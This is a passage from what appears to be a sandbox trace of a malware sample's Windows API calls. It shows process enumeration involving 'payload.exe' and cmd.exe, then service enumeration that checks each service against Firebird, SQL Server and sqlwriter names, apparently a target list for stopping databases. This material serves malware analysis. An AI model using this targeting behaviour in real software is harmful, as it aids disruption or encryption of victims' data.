th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0040.379] lstrlenW (lpString="sugar.exe") returned 9 [0040.380] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0040.380] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0040.380] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0040.381] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0040.381] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0040.382] lstrlenW (lpString="genealogy.exe") returned 13 [0040.382] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0040.383] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0040.383] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0040.384] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0040.384] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0040.385] lstrlenW (lpString="expenditure.exe") returned 15 [0040.385] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0040.386] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0040.386] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0040.387] lstrlenW (lpString="upgrading.exe") returned 13 [0040.387] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0040.388] lstrlenW (lpString="conservative.exe") returned 16 [0040.388] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0040.388] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0040.389] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0040.390] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0040.390] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0040.390] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0040.390] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0040.391] lstrlenW (lpString="gods violations duke.exe") returned 24 [0040.391] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.392] lstrlenW (lpString="dllhost.exe") returned 11 [0040.392] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.393] lstrlenW (lpString="conhost.exe") returned 11 [0040.393] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.394] lstrlenW (lpString="conhost.exe") returned 11 [0040.394] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.395] lstrlenW (lpString="dllhost.exe") returned 11 [0040.395] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0040.396] lstrlenW (lpString="dllhost.exe") returned 11 [0040.396] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0040.397] lstrlenW (lpString="payload.exe") returned 11 [0040.397] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0040.398] lstrlenW (lpString="cmd.exe") returned 7 [0040.398] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0040.399] lstrlenW (lpString="conhost.exe") returned 11 [0040.399] Process32NextW (in: hSnapshot=0x288, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0040.399] CloseHandle (hObject=0x288) returned 1 [0040.399] Sleep (dwMilliseconds=0x1f4) [0040.937] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ce7c8 [0040.938] EnumServicesStatusExW (in: hSCManager=0x6ce7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0 [0040.938] GetLastError () returned 0xea [0040.938] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1c30) returned 0x42a13d0 [0040.938] EnumServicesStatusExW (in: hSCManager=0x6ce7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a13d0, cbBufSize=0x1c30, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a13d0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1 [0040.939] CloseServiceHandle (hSCObject=0x6ce7c8) returned 1 [0040.939] lstrlenW (lpString="Appinfo") returned 7 [0040.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.939] lstrlenW (lpString="AppXSvc") returned 7 [0040.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0040.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0040.939] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0040.940] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0040.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0040.940] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.940] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.940] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.940] lstrlenW (lpString="Audiosrv") returned 8 [0040.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0040.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0040.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0040.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0040.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0040.940] lstrlenW (lpString="BFE") returned 3 [0040.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.940] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.940] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.940] lstrlenW (lpString="BITS") returned 4 [0040.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0040.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0040.940] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0040.940] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0040.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0040.940] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0040.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0040.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0040.940] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0040.940] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0040.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0040.940] lstrlenW (lpString="CDPSvc") returned 6 [0040.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0040.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0040.940] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0040.940] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0040.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0040.941] lstrlenW (lpString="ClickToRunSvc") returned 13 [0040.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0040.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0040.941] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0040.941] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0040.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0040.941] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0040.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0040.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0040.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0040.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0040.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0040.941] lstrlenW (lpString="CryptSvc") returned 8 [0040.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.941] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.941] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.941] lstrlenW (lpString="DcomLaunch") returned 10 [0040.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.941] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.941] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.941] lstrlenW (lpString="DeviceAssociationService") returned 24 [0040.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0040.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0040.942] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0040.942] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0040.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0040.942] lstrlenW (lpString="Dhcp") returned 4 [0040.942] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.942] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.942] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.942] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.942] lstrlenW (lpString="Dnscache") returned 8 [0040.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.994] lstrlenW (lpString="DPS") returned 3 [0040.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.994] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.994] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.994] lstrlenW (lpString="DusmSvc") returned 7 [0040.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0040.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0040.994] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0040.994] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0040.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0040.994] lstrlenW (lpString="EventLog") returned 8 [0040.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0040.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0040.994] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0040.994] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0040.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0040.994] lstrlenW (lpString="EventSystem") returned 11 [0040.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.994] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.994] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.994] lstrlenW (lpString="FontCache") returned 9 [0040.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0040.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0040.994] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0040.994] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0040.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0040.994] lstrlenW (lpString="gpsvc") returned 5 [0040.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.995] lstrlenW (lpString="iphlpsvc") returned 8 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.995] lstrlenW (lpString="KeyIso") returned 6 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0040.995] lstrlenW (lpString="LanmanServer") returned 12 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.995] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.995] lstrlenW (lpString="lfsvc") returned 5 [0040.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0040.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0040.995] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0040.995] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0040.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0040.995] lstrlenW (lpString="lmhosts") returned 7 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.996] lstrlenW (lpString="LSM") returned 3 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0040.996] lstrlenW (lpString="MpsSvc") returned 6 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.996] lstrlenW (lpString="NcbService") returned 10 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0040.996] lstrlenW (lpString="netprofm") returned 8 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.996] lstrlenW (lpString="NgcSvc") returned 6 [0040.996] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0040.996] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0040.996] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0040.996] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0040.996] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0040.997] lstrlenW (lpString="NlaSvc") returned 6 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.997] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.997] lstrlenW (lpString="nsi") returned 3 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.997] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.997] lstrlenW (lpString="PcaSvc") returned 6 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.997] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.997] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.997] lstrlenW (lpString="PlugPlay") returned 8 [0040.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.997] 